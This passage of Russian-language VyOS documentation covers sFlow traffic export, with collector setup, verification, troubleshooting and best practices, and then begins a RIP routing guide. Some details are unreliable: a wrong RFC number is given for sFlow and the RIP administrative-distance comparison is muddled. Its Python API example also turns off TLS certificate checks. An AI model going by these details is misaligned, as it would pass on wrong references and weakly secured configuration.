set interfaces loopback lo address '10.255.255.1/32'
set system sflow agent-address '10.255.255.1'

# Мониторинг всех uplink интерфейсов
set system sflow interface 'eth0'
set system sflow interface 'eth1'
set system sflow interface 'eth2'
set system sflow interface 'eth3'

# Оптимизированная частота для 10G
set system sflow sampling-rate '8000'

# Редкий опрос для снижения нагрузки
set system sflow polling '60'

# Основной коллектор
set system sflow server 10.100.1.5 port 6343

# Резервный коллектор
set system sflow server 10.100.1.6 port 6343

# Мониторинг потерь
set system sflow drop-monitor-limit '100'

# Двусторонняя выборка
set system sflow enable-egress

commit
save
exit
```

### Пример 3: Мультиарендный провайдер

**Сценарий:** VyOS для сервис-провайдера с изоляцией клиентов через VLAN, детальный учет трафика.

```bash
configure

# Агент на управляющем интерфейсе
set system sflow agent-address '10.0.0.1'

# Мониторинг транковых портов
set system sflow interface 'eth0'
set system sflow interface 'eth1'

# Мониторинг VLAN интерфейсов клиентов
set system sflow interface 'eth0.100'
set system sflow interface 'eth0.101'
set system sflow interface 'eth0.102'
set system sflow interface 'eth0.200'
set system sflow interface 'eth0.201'

# Высокая точность для биллинга
set system sflow sampling-rate '1000'

# Частый опрос для точной статистики
set system sflow polling '20'

# Коллектор биллинговой системы
set system sflow server 10.200.1.10 port 6343

# Коллектор мониторинга
set system sflow server 10.100.1.5 port 6343

# Коллектор анализа безопасности
set system sflow server 10.150.1.20 port 6343

commit
save
exit
```

### Пример 4: VPN-концентратор с туннелями

**Сценарий:** VyOS как VPN-концентратор с множеством туннелей IPsec и WireGuard, мониторинг зашифрованного трафика.

```bash
configure

# Агент на loopback
set interfaces loopback lo address '172.16.255.1/32'
set system sflow agent-address '172.16.255.1'

# Мониторинг физических интерфейсов
set system sflow interface 'eth0'
set system sflow interface 'eth1'

# Мониторинг IPsec туннелей
set system sflow interface 'vti0'
set system sflow interface 'vti1'
set system sflow interface 'vti2'

# Мониторинг WireGuard
set system sflow interface 'wg0'
set system sflow interface 'wg1'

# Стандартная выборка
set system sflow sampling-rate '2000'

# Частый опрос для VPN метрик
set system sflow polling '15'

# Коллектор мониторинга VPN
set system sflow server 10.100.1.15 port 6343

# Включение egress для полного учета
set system sflow enable-egress

commit
save
exit
```

### Пример 5: Yandex Cloud  - Экспорт sFlow в систему мониторинга

**Сценарий:** VyOS в Yandex Cloud как NAT-шлюз, экспорт sFlow на виртуальную машину с коллектором для мониторинга потребления трафика тенантами.

```bash
configure

# Агент на внутреннем интерфейсе
set system sflow agent-address '10.128.0.10'

# Мониторинг внешнего интерфейса (к интернету)
set system sflow interface 'eth0'

# Мониторинг внутренних интерфейсов (подсети в VPC)
set system sflow interface 'eth1'
set system sflow interface 'eth2'

# Оптимизация для облачной среды (1 Gbps каналы)
set system sflow sampling-rate '2000'
set system sflow polling '30'

# Коллектор на отдельной ВМ в той же VPC
set system sflow server 10.128.0.100 port 6343

# Резервный коллектор в другой зоне доступности
set system sflow server 10.129.0.100 port 6343

# Мониторинг отброшенных пакетов
set system sflow drop-monitor-limit '50'

commit
save
exit
```

**Дополнительная настройка коллектора в Yandex Cloud:**

На виртуальной машине с Ubuntu 22.04:

```bash
# Установка sFlowTrend (коммерческий коллектор с бесплатной версией)
# или ntopng, или Prometheus с sFlow экспортером

# Для ntopng:
sudo apt update
sudo apt install ntopng

# Настройка ntopng для приема sFlow
sudo nano /etc/ntopng/ntopng.conf
# Добавить:
# -i=sflow:6343
# --http-port=3000

sudo systemctl enable ntopng
sudo systemctl start ntopng

# Настройка Security Group для разрешения UDP 6343
# В веб-консоли Yandex Cloud: VPC -> Security Groups
# Входящий трафик: UDP, порт 6343, источник - CIDR VyOS подсети
# Входящий трафик: TCP, порт 3000, источник - ваш IP (для веб-интерфейса)
```

### Пример 6: VK Cloud  - Мультиинтерфейсный мониторинг

**Сценарий:** VyOS в VK Cloud как пограничный маршрутизатор для микросервисной архитектуры, экспорт sFlow на sFlowTrend для анализа межсервисного трафика.

```bash
configure

# Агент на loopback для независимости от интерфейсов
set interfaces loopback lo address '172.31.255.1/32'
set system sflow agent-address '172.31.255.1'

# Мониторинг интерфейса к интернету
set system sflow interface 'eth0'

# Мониторинг интерфейсов к микросервисам
set system sflow interface 'eth1.100'  # Frontend subnet
set system sflow interface 'eth1.200'  # Backend subnet
set system sflow interface 'eth1.300'  # Database subnet
set system sflow interface 'eth1.400'  # Cache subnet

# Мониторинг интерфейса к системам хранения
set system sflow interface 'eth2'

# Высокая точность для анализа микросервисов
set system sflow sampling-rate '1500'

# Частый опрос для быстрого обнаружения проблем
set system sflow polling '20'

# Коллектор sFlowTrend в той же VPC
set system sflow server 172.31.10.50 port 6343

# Мониторинг входящего и исходящего трафика
set system sflow enable-egress

# Отслеживание потерь для диагностики
set system sflow drop-monitor-limit '100'

commit
save
exit
```

**Настройка sFlowTrend в VK Cloud:**

```bash
# На виртуальной машине Ubuntu 22.04
# sFlowTrend доступен как Docker контейнер

# Установка Docker
sudo apt update
sudo apt install docker.io docker-compose
sudo systemctl enable docker
sudo systemctl start docker

# Запуск sFlowTrend
sudo docker run -d \
  --name sflowtrend \
  -p 6343:6343/udp \
  -p 8087:8087 \
  --restart=always \
  sflow/sflowtrend:latest

# Проверка
sudo docker logs sflowtrend

# Доступ к веб-интерфейсу: http://<VM-IP>:8087
```

## Проверка конфигурации

### Просмотр конфигурации sFlow

```bash
show configuration commands | grep sflow
```

Вывод:
```
set system sflow agent-address '192.168.1.1'
set system sflow interface 'eth0'
set system sflow interface 'eth1'
set system sflow polling '30'
set system sflow sampling-rate '1000'
set system sflow server 192.168.100.10 port '6343'
```

### Проверка работы sFlow агента

```bash
show system sflow
```

Вывод предоставляет информацию о состоянии агента sFlow:
```
Agent Address: 192.168.1.1
Agent Interface: eth0
Polling Interval: 30
Sampling Rate: 1000
Drop Monitor Limit: not configured
Egress: disabled

Collectors:
  192.168.100.10:6343

Monitored Interfaces:
  eth0
  eth1
```

### Проверка процесса hsflowd

```bash
show process hsflowd
```

Или через операционный режим Linux:

```bash
run show processes | grep hsflow
```

```bash
ps aux | grep hsflowd
```

Ожидаемый вывод:
```
root      1234  0.0  0.1  12345  6789 ?        Ss   10:30   0:00 /usr/sbin/hsflowd
```

### Мониторинг логов sFlow

Логи hsflowd находятся в системных логах:

```bash
show log | match sflow
```

Или напрямую:

```bash
journalctl -u hsflowd -f
```

Пример логов при запуске:

```
hsflowd[1234]: agent address set to 192.168.1.1
hsflowd[1234]: monitoring interface eth0
hsflowd[1234]: monitoring interface eth1
hsflowd[1234]: collector 192.168.100.10:6343 configured
hsflowd[1234]: sampling rate: 1000
hsflowd[1234]: polling interval: 30s
```

### Проверка отправки sFlow пакетов

Проверка сетевой активности на порту коллектора:

```bash
sudo tcpdump -i any udp port 6343 -n
```

Вывод (если экспорт работает):
```
10:35:01.123456 IP 192.168.1.1.54321 > 192.168.100.10.6343: UDP, length 1400
10:35:02.234567 IP 192.168.1.1.54321 > 192.168.100.10.6343: UDP, length 1400
10:35:03.345678 IP 192.168.1.1.54321 > 192.168.100.10.6343: UDP, length 1400
```

### Тестирование доступности коллектора

```bash
ping 192.168.100.10
```

```bash
traceroute 192.168.100.10
```

Проверка доступности UDP порта (с машины VyOS):

```bash
nc -u -v 192.168.100.10 6343
```

### Статистика интерфейсов

Проверка счетчиков, которые экспортирует sFlow:

```bash
show interfaces ethernet eth0
```

```bash
show interfaces statistics
```

Важные поля:
- RX packets/bytes (входящий трафик)
- TX packets/bytes (исходящий трафик)
- RX errors (ошибки приема)
- TX errors (ошибки передачи)
- RX dropped (отброшенные при приеме)
- TX dropped (отброшенные при передаче)

## Мониторинг и анализ

### Популярные коллекторы и анализаторы sFlow

**Open Source решения:**

1. **sFlowTrend**
   - Бесплатный коллектор и анализатор
   - Веб-интерфейс для визуализации
   - Поддержка алертов
   - URL: https://inmon.com/products/sFlowTrend.php

2. **ntopng**
   - Мощный анализатор сетевого трафика
   - Поддержка sFlow, NetFlow, IPFIX
   - Детальная аналитика приложений
   - URL: https://www.ntop.org/products/traffic-analysis/ntop/

3. **pmacct (Promiscuous mode IP Accounting)**
   - Коллектор для биллинга и учета
   - Экспорт в MySQL, PostgreSQL, MongoDB
   - Интеграция с Kafka
   - URL: http://www.pmacct.net/

4. **ElastiFlow**
   - Коллектор для Elasticsearch + Kibana
   - Готовые дашборды
   - Масштабируемая архитектура
   - URL: https://github.com/robcowart/elastiflow

**Коммерческие решения:**

1. **Kentik**
   - SaaS платформа для анализа трафика
   - DDoS detection
   - Облачная интеграция

2. **Plixer Scrutinizer**
   - Enterprise решение
   - Расширенная аналитика
   - Compliance reporting

3. **SolarWinds NetFlow Traffic Analyzer**
   - Интеграция с экосистемой SolarWinds
   - Анализ производительности приложений

### Настройка базового коллектора на Linux

Пример установки ntopng на Ubuntu 22.04:

```bash
# Добавление репозитория ntop
sudo apt-get install software-properties-common wget
sudo add-apt-repository universe
wget -qO - https://packages.ntop.org/apt-stable/22.04/all/apt-ntop-stable.deb.gpg.key | sudo apt-key add -
sudo add-apt-repository "deb https://packages.ntop.org/apt-stable/22.04/all/ x64/"

# Установка ntopng
sudo apt-get update
sudo apt-get install ntopng

# Настройка для приема sFlow
sudo nano /etc/ntopng/ntopng.conf

# Добавить строки:
-i=sflow:6343
--http-port=3000
--community

# Запуск
sudo systemctl enable ntopng
sudo systemctl start ntopng

# Проверка
sudo systemctl status ntopng

# Доступ к веб-интерфейсу: http://<server-ip>:3000
# Логин по умолчанию: admin / admin
```

### Prometheus и Grafana интеграция

Для экспорта метрик sFlow в Prometheus используется sflow_exporter:

```bash
# Установка Go (если еще не установлен)
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

# Клонирование и сборка sflow_exporter
git clone https://github.com/czerwonk/sflow_exporter.git
cd sflow_exporter
go build

# Запуск
./sflow_exporter -sflow.listen-address=:6343 -web.listen-address=:9090

# Конфигурация Prometheus (prometheus.yml)
scrape_configs:
  - job_name: 'sflow'
    static_configs:
      - targets: ['localhost:9090']
```

### Анализ данных sFlow

**Ключевые метрики для мониторинга:**

1. **Утилизация полосы пропускания**
   - Входящий/исходящий bps
   - Топ источников/назначений по объему
   - Тренды использования

2. **Производительность приложений**
   - Топ приложений по трафику
   - Распределение портов и протоколов
   - Латентность на уровне потоков

3. **Безопасность**
   - Обнаружение аномалий (всплески трафика)
   - Топ источников/назначений по PPS (packet scan detection)
   - Распределение размеров пакетов (DDoS индикаторы)

4. **Качество обслуживания**
   - Потерянные пакеты (drop monitor)
   - Ошибки на интерфейсах
   - Буферизация и задержки

**Запросы для анализа:**

В ntopng или других анализаторах:

- Top Talkers (топ источников по трафику)
- Flow Analysis (анализ потоков по 5-tuple)
- Protocol Distribution (распределение протоколов)
- Port Analysis (анализ используемых портов)
- Autonomous System Analysis (AS-level трафик)
- Geolocation Analysis (географическое распределение)

## Устранение неполадок

### sFlow данные не поступают на коллектор

**Проверка 1: Агент sFlow запущен**

```bash
ps aux | grep hsflowd
```

Если процесс не работает:

```bash
sudo systemctl status hsflowd
sudo systemctl restart hsflowd
```

**Проверка 2: Конфигурация применена**

```bash
show configuration commands | grep sflow
```

Убедитесь, что конфигурация включает:
- Agent address или agent interface
- Минимум один интерфейс для мониторинга
- Минимум один сервер коллектора

**Проверка 3: Сетевая доступность коллектора**

```bash
ping <collector-ip>
traceroute <collector-ip>
```

Проверка UDP порта:

```bash
nc -u -v <collector-ip> 6343
```

**Проверка 4: Файрвол на VyOS**

Убедитесь, что исходящий UDP трафик на порт 6343 не блокируется:

```bash
show firewall
```

Если есть правила на исходящий трафик, добавьте разрешение:

```bash
set firewall name WAN_OUT rule 100 action accept
set firewall name WAN_OUT rule 100 protocol udp
set firewall name WAN_OUT rule 100 destination port 6343
commit
```

**Проверка 5: Файрвол на коллекторе**

На сервере коллектора:

```bash
# Linux firewall
sudo ufw status
sudo ufw allow 6343/udp

# iptables
sudo iptables -I INPUT -p udp --dport 6343 -j ACCEPT
```

**Проверка 6: Коллектор слушает на правильном порту**

На сервере коллектора:

```bash
sudo netstat -ulnp | grep 6343
```

Ожидаемый вывод:
```
udp    0    0 0.0.0.0:6343    0.0.0.0:*    12345/ntopng
```

Если порт не слушается, проверьте конфигурацию коллектора.

### Высокая нагрузка на CPU от hsflowd

**Причина:** Слишком агрессивный sampling rate для объема трафика.

**Решение:** Увеличьте sampling rate (уменьшите частоту выборки):

```bash
# Было
set system sflow sampling-rate '500'

# Стало
set system sflow sampling-rate '5000'
commit
```

**Мониторинг загрузки CPU:**

```bash
show system cpu
```

```bash
top
```

Процесс hsflowd должен потреблять < 5% CPU в нормальных условиях.

### Потеря sFlow пакетов при передаче

**Симптомы:** Коллектор показывает пропуски в данных, неполную статистику.

**Причина:** Ограничение пропускной способности канала или буферов UDP.

**Диагностика:**

На VyOS:
```bash
show interfaces statistics
# Проверить TX dropped на интерфейсе, отправляющем sFlow
```

На коллекторе:
```bash
netstat -su | grep "packet receive errors"
```

**Решение 1:** Увеличить sampling rate (меньше пакетов экспорта):

```bash
set system sflow sampling-rate '10000'
commit
```

**Решение 2:** Увеличить буферы UDP на коллекторе:

```bash
# Linux
sudo sysctl -w net.core.rmem_max=134217728
sudo sysctl -w net.core.rmem_default=134217728
```

**Решение 3:** Использовать несколько коллекторов с балансировкой.

### Неправильный agent address в экспортируемых данных

**Проблема:** Коллектор показывает неверный IP-адрес источника.

**Решение:** Явно указать agent address:

```bash
set system sflow agent-address '10.0.0.1'
commit
```

Или использовать loopback:

```bash
set interfaces loopback lo address '10.255.255.1/32'
set system sflow agent-address '10.255.255.1'
commit
```

### Интерфейсы не экспортируют данные

**Проверка:** Интерфейс должен быть в состоянии up:

```bash
show interfaces
```

**Решение:** Убедитесь, что интерфейс активен и корректно настроен:

```bash
set interfaces ethernet eth0 description 'WAN'
set interfaces ethernet eth0 address 'dhcp'
commit
```

Затем добавьте в sFlow:

```bash
set system sflow interface 'eth0'
commit
```

### Коллектор не распознает трафик от VyOS

**Проблема:** Версия sFlow протокола или формат данных.

**Диагностика:** Проверьте логи коллектора на ошибки парсинга.

**Решение:** VyOS использует sFlow версии 5 (стандарт). Убедитесь, что коллектор поддерживает sFlow v5.

Проверка версии hsflowd:

```bash
hsflowd -v
```

### Отсутствуют данные о некоторых протоколах

**Причина:** Sampling  - статистический метод, некоторые протоколы с низким объемом могут не попасть в выборку.

**Решение:** Уменьшите sampling rate для увеличения точности:

```bash
set system sflow sampling-rate '500'
commit
```

**Альтернатива:** Используйте NetFlow/IPFIX для детального анализа всех потоков (дополнительная нагрузка).

## Лучшие практики

### Планирование развертывания sFlow

1. **Определение целей мониторинга**
   - Производительность сети
   - Биллинг и учет
   - Безопасность и обнаружение атак
   - Устранение неполадок

2. **Выбор интерфейсов**
   - Критичные uplink/downlink интерфейсы
   - Интерфейсы к серверам/датацентрам
   - Точки входа/выхода из сети

3. **Расчет sampling rate**
   - Баланс точности и производительности
   - Учет скорости каналов
   - Требования к детализации

4. **Архитектура коллекторов**
   - Избыточность (несколько коллекторов)
   - Масштабируемость (кластеризация)
   - Хранение данных (retention policy)

### Оптимизация производительности

**Рекомендации для VyOS:**

1. **Адаптивный sampling rate**
   - 100 Mbps: 500-1000
   - 1 Gbps: 1000-2000
   - 10 Gbps: 5000-10000
   - 40+ Gbps: 20000-50000

2. **Polling interval**
   - Активный мониторинг: 10-20 секунд
   - Стандартный: 30 секунд
   - Долгосрочные тренды: 60+ секунд

3. **Ограничение egress sampling**
   - Включайте только при необходимости
   - Учитывайте удвоение объема экспорта

4. **Использование loopback для agent address**
   - Независимость от состояния физических интерфейсов
   - Единый идентификатор устройства

### Безопасность

**Защита коллекторов:**

1. **Изоляция сети мониторинга**
   - Dedicated VLAN для sFlow трафика
   - Ограничение доступа к коллекторам

2. **Аутентификация и шифрование**
   - sFlow не поддерживает встроенное шифрование
   - Используйте VPN туннели для передачи через недоверенные сети
   - Ограничьте доступ к коллектору файрволом

3. **Валидация источников**
   - Настройте коллектор для приема только от известных IP
   - Мониторинг аномальных объемов sFlow трафика

**Пример VPN туннеля для sFlow через интернет:**

```bash
# На VyOS (sFlow exporter)
configure

# WireGuard туннель к удаленному коллектору
set interfaces wireguard wg10 address '10.99.0.1/30'
set interfaces wireguard wg10 private-key <key>
set interfaces wireguard wg10 peer remote-collector pubkey <pubkey>
set interfaces wireguard wg10 peer remote-collector endpoint 'collector.example.com:51820'
set interfaces wireguard wg10 peer remote-collector allowed-ips '10.99.0.0/30'

# sFlow через туннель
set system sflow agent-address '192.168.1.1'
set system sflow interface 'eth0'
set system sflow server 10.99.0.2 port 6343

commit
save
```

### Мониторинг самого sFlow

**Метрики для отслеживания:**

1. **Доступность hsflowd процесса**
   - Alerting при падении процесса

2. **Сетевая доступность коллектора**
   - Мониторинг пингами
   - Проверка UDP порта

3. **Объем экспортируемых данных**
   - Мониторинг TX на интерфейсе-источнике
   - Отслеживание RX на коллекторе

4. **Потери пакетов**
   - Dropped packets на VyOS
   - UDP receive errors на коллекторе

**Пример мониторинга через скрипт:**

```bash
#!/bin/bash
# Скрипт проверки sFlow

# Проверка процесса
if ! pgrep hsflowd > /dev/null; then
    echo "CRITICAL: hsflowd not running"
    exit 2
fi

# Проверка доступности коллектора
if ! ping -c 1 192.168.100.10 > /dev/null 2>&1; then
    echo "CRITICAL: Collector unreachable"
    exit 2
fi

# Проверка конфигурации
INTERFACES=$(cli-shell-api showConfig system sflow interface | wc -l)
if [ "$INTERFACES" -eq 0 ]; then
    echo "WARNING: No interfaces configured"
    exit 1
fi

echo "OK: sFlow operational"
exit 0
```

### Документация и аудит

**Поддерживайте документацию:**

1. **Инвентаризация**
   - Список устройств с sFlow
   - Адреса агентов
   - Мониторируемые интерфейсы

2. **Конфигурации**
   - Шаблоны для разных типов устройств
   - Sampling rates для разных скоростей
   - Список коллекторов и их назначение

3. **Процедуры**
   - Устранение неполадок
   - Обновление конфигурации
   - Добавление новых устройств

4. **Аудит**
   - Регулярная проверка конфигураций
   - Валидация работы экспорта
   - Анализ эффективности sampling rate

### Интеграция с системами мониторинга

**SNMP для мониторинга состояния:**

```bash
set service snmp community public authorization ro
set service snmp community public network 192.168.100.0/24
commit
```

**Syslog для централизованного логирования:**

```bash
set system syslog host 192.168.100.20 facility all
set system syslog host 192.168.100.20 facility local7 level debug
commit
```

**API для автоматизации:**

VyOS API можно использовать для программного управления sFlow:

```bash
# Включение API
set service https api keys id automation key 'YOUR_API_KEY'
commit
```

Пример автоматического добавления интерфейсов через API (Python):

```python
import requests

vyos_api = "https://192.168.1.1/configure"
api_key = "YOUR_API_KEY"
headers = {"Content-Type": "application/json"}

interfaces = ["eth0", "eth1", "eth2"]

for iface in interfaces:
    payload = {
        "key": api_key,
        "op": "set",
        "path": ["system", "sflow", "interface", iface]
    }
    response = requests.post(vyos_api, json=payload, headers=headers, verify=False)
    print(f"Added {iface}: {response.json()}")

# Commit
commit_payload = {
    "key": api_key,
    "op": "commit"
}
requests.post("https://192.168.1.1/config-file", json=commit_payload, headers=headers, verify=False)
```

## Дополнительные ресурсы

### Официальная документация

- **VyOS sFlow Documentation:** https://docs.vyos.io/en/latest/configuration/system/sflow.html
- **sFlow.org (официальный сайт):** https://sflow.org/
- **sFlow RFC 3967:** https://tools.ietf.org/html/rfc3967
- **Host sFlow Daemon:** https://github.com/sflow/host-sflow

### Коллекторы и анализаторы

- **sFlowTrend:** https://inmon.com/products/sFlowTrend.php
- **ntopng:** https://www.ntop.org/
- **pmacct:** http://www.pmacct.net/
- **ElastiFlow:** https://github.com/robcowart/elastiflow
- **Grafana sFlow plugin:** https://grafana.com/grafana/plugins/

### Статьи и руководства

- **Understanding sFlow:** https://sflow.org/sFlowOverview.pdf
- **sFlow vs NetFlow comparison:** https://sflow.org/sFlowVsNetFlow.html
- **Best practices for network monitoring:** https://sflow.org/best_practices.php

### Инструменты тестирования

- **sflowtool:** Утилита командной строки для декодирования sFlow (https://github.com/sflow/sflowtool)
  ```bash
  sudo apt install sflowtool
  sflowtool -p 6343
  ```

- **sflow-rt:** Real-time sFlow анализатор (https://sflow-rt.com/)

### Сообщество

- **VyOS Community:** https://forum.vyos.io/
- **VyOS Slack:** https://slack.vyos.io/
- **sFlow Discussion Group:** https://groups.google.com/g/sflow

## Заключение

sFlow  - это мощная и эффективная технология для мониторинга сетевого трафика, особенно подходящая для высокоскоростных каналов и облачных сред. Ключевые преимущества:

- **Масштабируемость:** Подходит для каналов от 100 Mbps до 100+ Gbps
- **Низкая нагрузка:** Минимальное влияние на производительность маршрутизатора
- **Детализация:** Образцы пакетов + счетчики интерфейсов
- **Стандартизация:** Открытый стандарт с широкой поддержкой
- **Гибкость:** Поддержка множественных коллекторов и разнообразных сценариев

При правильной настройке sampling rate и polling interval sFlow обеспечивает оптимальный баланс между точностью мониторинга и ресурсами системы. Интеграция с современными системами мониторинга (ntopng, Grafana, Elasticsearch) позволяет создать полноценную платформу для анализа сети, обнаружения проблем и планирования развития инфраструктуры.

Для облачных провайдеров (Yandex Cloud, VK Cloud) и сервис-провайдеров sFlow является критически важным инструментом для учета трафика, биллинга, обеспечения SLA и безопасности.


---

# RIP - Routing Information Protocol

Source: https://opennix.org/docs/vyos/routing/vyos-rip/


RIP (Routing Information Protocol) - один из старейших протоколов динамической маршрутизации, использующий алгоритм distance-vector.

## Обзор

RIP - простой протокол маршрутизации, подходящий для небольших сетей с предсказуемой топологией.

### Характеристики RIP

**Основные параметры**:
- Distance-vector алгоритм (Bellman-Ford)
- Метрика - hop count (количество роутеров до сети)
- Максимум 15 hops (16 = unreachable)
- Периодические обновления каждые 30 секунд
- Split horizon и poison reverse для предотвращения петель

**Версии протокола**:
- **RIPv1** (RFC 1058) - classful, без VLSM, broadcast обновления
- **RIPv2** (RFC 2453) - classless, VLSM, CIDR, multicast (224.0.0.9), authentication
- **RIPng** (RFC 2080) - для IPv6 сетей, multicast (FF02::9)

### Когда использовать RIP

**Подходит для**:
- Малые сети (до 15 роутеров)
- Простые топологии (без резервирования)
- Legacy оборудование
- Учебные лаборатории
- Временные тестовые сети

**Не подходит для**:
- Крупные enterprise сети
- Сети с резервными путями
- Высоконагруженные сети
- Сети требующие быструю конвергенцию

### Ограничения RIP

1. **Hop count limit** - максимум 15 роутеров
2. **Медленная конвергенция** - до 3 минут
3. **Периодические обновления** - создают постоянный трафик
4. **Простая метрика** - не учитывает bandwidth, latency
5. **Нет поддержки VLSM** в RIPv1

## RIPv2 Configuration

VyOS поддерживает RIPv2 по умолчанию.

### Базовая настройка

**Минимальная конфигурация**:
```
set protocols rip interface eth0
set protocols rip interface eth1
set protocols rip network 192.168.1.0/24
set protocols rip network 192.168.2.0/24

commit
save
```

**Network statement**:
```
set protocols rip network 10.0.0.0/8
set protocols rip network 172.16.0.0/12
set protocols rip network 192.168.0.0/16

commit
```

Network statement включает все интерфейсы с IP из указанных сетей в RIP процесс.

### Interface Configuration

**Включить RIP на интерфейсе**:
```
set protocols rip interface eth0
set protocols rip interface eth1
commit
```

**Exclude интерфейс**:
```
delete protocols rip interface eth2
commit
```

### RIP Version

**Установить версию RIP**:
```
set protocols rip version 2
commit
```

По умолчанию VyOS использует RIPv2.

### Neighbor Configuration

**Unicast neighbor** (вместо multicast):
```
set protocols rip neighbor 192.168.1.2
set protocols rip neighbor 192.168.2.2
commit
```

Полезно для:
- Point-to-point links
- Сети где multicast недоступен
- VPN туннели

### Passive Interface

Интерфейс анонсирует свою сеть, но не отправляет RIP updates.

**Per-interface**:
```
set protocols rip interface eth2 passive
commit
```

**All interfaces passive by default**:
```
set protocols rip passive-interface default
commit
```

Затем активировать нужные:
```
set protocols rip passive-interface eth0 disable
set protocols rip passive-interface eth1 disable
commit
```

**Рекомендация**: Используйте passive для LAN интерфейсов без RIP neighbors.

## Authentication

Защита от несанкционированных RIP обновлений.

### Plaintext Authentication

**Не рекомендуется** (пароль передается в открытом виде):

```
set interfaces ethernet eth0 ip rip authentication plaintext-password 'MyPassword'
commit
```

Используйте только для совместимости с legacy устройствами.

### MD5 Authentication

**Рекомендуется**:

```
set interfaces ethernet eth0 ip rip authentication md5 1 password 'SecureRIPPassword123!'
commit
```

**Key ID** (1-255) позволяет плавную смену паролей:

```
# Старый ключ
set interfaces ethernet eth0 ip rip authentication md5 1 password 'OldPassword'

# Добавить новый ключ
set interfaces ethernet eth0 ip rip authentication md5 2 password 'NewPassword'
commit

# После обновления всех роутеров, удалить старый
delete interfaces ethernet eth0 ip rip authentication md5 1
commit
```

**Важно**: Authentication должна совпадать на всех соседних роутерах.

### Authentication Example

**Router 1**:
```
set interfaces ethernet eth1 ip rip authentication md5 1 password 'RIP-Secure-2024'
commit
```

**Router 2**:
```
set interfaces ethernet eth1 ip rip authentication md5 1 password 'RIP-Secure-2024'
commit
```

## Split Horizon

Механизм предотвращения routing loops.

### Default Split Horizon

По умолчанию включен:
```
# Роутер не анонсирует маршруты обратно через интерфейс, откуда их получил
```

### Disable Split Horizon

```
set interfaces ethernet eth0 ip rip split-horizon disable
commit
```

**Когда отключать**:
- Hub-and-spoke топологии
- Frame Relay NBMA сети
- Некоторые VPN конфигурации

### Poison Reverse

Агрессивная версия split horizon:

```
set interfaces ethernet eth0 ip rip split-horizon poison-reverse
commit
```

Анонсирует маршруты обратно с метрикой 16 (unreachable).

**Когда использовать**:
- Faster convergence при отказах
- Явное указание на недоступность маршрута

## Timers

Управление RIP timers для конвергенции.

### Update Timer

Интервал отправки RIP updates:

```
set protocols rip timers update 30
commit
```

По умолчанию: 30 секунд.

**Меньшее значение**:
- Faster convergence
- Больше трафика
- Выше CPU usage

### Timeout Timer

Время ожидания обновления от neighbor:

```
set protocols rip timers timeout 180
commit
```

По умолчанию: 180 секунд (6x update timer).

После timeout маршрут помечается unreachable (metric 16).

### Garbage Collection Timer

Время до удаления unreachable маршрута:

```
set protocols rip timers garbage-collection 120
commit
```

По умолчанию: 120 секунд.

### Timers Configuration Example

```
set protocols rip timers update 30
set protocols rip timers timeout 180
set protocols rip timers garbage-collection 120

commit
save
```

**Aggressive timers** (для быстрой конвергенции):
```
set protocols rip timers update 10
set protocols rip timers timeout 60
set protocols rip timers garbage-collection 40

commit
```

**Осторожно**: Более короткие timers увеличивают нагрузку на сеть и CPU.

## Route Redistribution

Импорт маршрутов из других источников в RIP.

### Redistribute Connected

Анонсировать directly connected сети:

```
set protocols rip redistribute connected
commit
```

**С метрикой**:
```
set protocols rip redistribute connected metric 2
commit
```

### Redistribute Static

Анонсировать static routes:

```
set protocols rip redistribute static
commit
```

**С метрикой**:
```
set protocols rip redistribute static metric 3
commit
```

### Redistribute OSPF

Импорт OSPF маршрутов в RIP:

```
set protocols rip redistribute ospf
commit
```

**С метрикой**:
```
set protocols rip redistribute ospf metric 5
commit
```

### Redistribute BGP

Импорт BGP маршрутов:

```
set protocols rip redistribute bgp
commit
```

**Осторожно**: BGP full table (900K+ routes) не подходит для RIP (limit 15 hops).

### Redistribute Kernel

Kernel routes (e.g., from DHCP):

```
set protocols rip redistribute kernel
commit
```

### Route-map для Selective Redistribution

**Создать route-map**:
```
set policy route-map STATIC-TO-RIP rule 10 action permit
set policy route-map STATIC-TO-RIP rule 10 match ip address prefix-list ALLOWED-NETWORKS

set policy prefix-list ALLOWED-NETWORKS rule 10 action permit
set policy prefix-list ALLOWED-NETWORKS rule 10 prefix 192.168.0.0/16 le 24

commit
```

**Применить к redistribution**:
```
set protocols rip redistribute static route-map STATIC-TO-RIP
commit
```

### Metric для Redistribution

**По умолчанию**: metric 1 (для всех redistributed routes).

**Установить custom metric**:
```
set protocols rip redistribute connected metric 2
set protocols rip redistribute static metric 3
set protocols rip redistribute ospf metric 5
commit
```

## Default Information Originate

Анонс default route (0.0.0.0/0) в RIP.

### Basic Default Route

```
set protocols rip default-information originate
commit
```

Анонсирует default route **только если** она существует в routing table.

**Создать static default route**:
```
set protocols static route 0.0.0.0/0 next-hop 203.0.113.1
commit
```

### Always Originate

Анонсировать default route всегда (даже если нет в routing table):

```
set protocols rip default-information originate always
commit
```

### Default Route Example

**Internet Gateway Router**:
```
# Static default route к ISP
set protocols static route 0.0.0.0/0 next-hop 198.51.100.1

# Анонсировать в RIP
set protocols rip default-information originate

commit
save
```

**Branch routers** получат default route автоматически.

## Distance (Administrative Distance)

Приоритет RIP маршрутов относительно других протоколов.

### Default Distance

**RIP default distance**: 120 (выше чем OSPF 110, ниже чем eBGP 20).

### Change RIP Distance

```
set protocols rip distance 130
commit
```

**Меньшее значение** - выше приоритет:
- Connected: 0
- Static: 1
- eBGP: 20
- OSPF: 110
- **RIP: 120**
- iBGP: 200

### Network-specific Distance

```
set protocols rip network-distance 192.168.10.0/24 distance 90
commit
```

Для конкретной сети установить custom distance.

### Distance Example

```
# Prefer OSPF over RIP
set protocols ospf distance global 110
set protocols rip distance 120

# Except для specific network - prefer RIP
set protocols rip network-distance 10.10.0.0/16 distance 80

commit
```

## Access List (Distribute List)

Фильтрация RIP routes.

### Inbound Filter

**Фильтровать входящие updates**:

```
set policy access-list 10 rule 10 action permit
set policy access-list 10 rule 10 source any
set policy access-list 10 rule 10 destination 192.168.0.0/16

set protocols rip distribute-list interface eth0 access-list in 10

commit
```

Принимать только маршруты из 192.168.0.0/16.

### Outbound Filter

**Фильтровать исходящие updates**:

```
set policy access-list 20 rule 10 action deny
set policy access-list 20 rule 10 source any
set policy access-list 20 rule 10 destination 10.0.0.0/8

set policy access-list 20 rule 20 action permit
set policy access-list 20 rule 20 source any
set policy access-list 20 rule 20 destination any

set protocols rip distribute-list interface eth1 access-list out 20

commit
```

Не анонсировать 10.0.0.0/8, анонсировать всё остальное.

### Prefix-list Filter

